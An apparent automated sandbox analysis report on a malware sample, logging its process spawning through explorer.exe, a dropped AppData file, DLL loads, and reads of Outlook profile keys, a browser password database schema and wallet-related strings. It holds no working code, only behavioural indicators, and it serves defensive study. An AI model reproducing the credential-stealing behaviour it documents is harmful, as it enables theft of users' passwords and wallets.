Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C96A.tmp.7.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe "C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hfetwhc C:\Users\user\AppData\Roaming\hfetwhc
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hfetwhc C:\Users\user\AppData\Roaming\hfetwhc
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: WalletProxy.pdbGCTL source: explorer.exe, 0000000D.00000003.2655011353.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2640399855.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657373914.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2685359398.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657226319.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2684711204.00000000052CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2702006220.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: walletservice.pdbGCTL source: explorer.exe, 0000000D.00000003.2570547209.00000000052C7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2664889234.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WalletProxy.pdb source: explorer.exe, 0000000D.00000003.2655011353.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2640399855.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657373914.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2685359398.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657226319.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2684711204.00000000052CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2702006220.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xy.pdb source: explorer.exe, 0000000D.00000003.2655011353.000000000523C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WalletBackgroundServiceProxy.pdb source: explorer.exe, 0000000D.00000003.2700964728.000000000523C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2649083320.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2639119657.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2676572554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701582740.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701221963.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701414879.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2674928754.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2667473589.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2678065093.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2652375045.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.13.dr, WalletBackgroundServiceProxy.dll1.13.dr
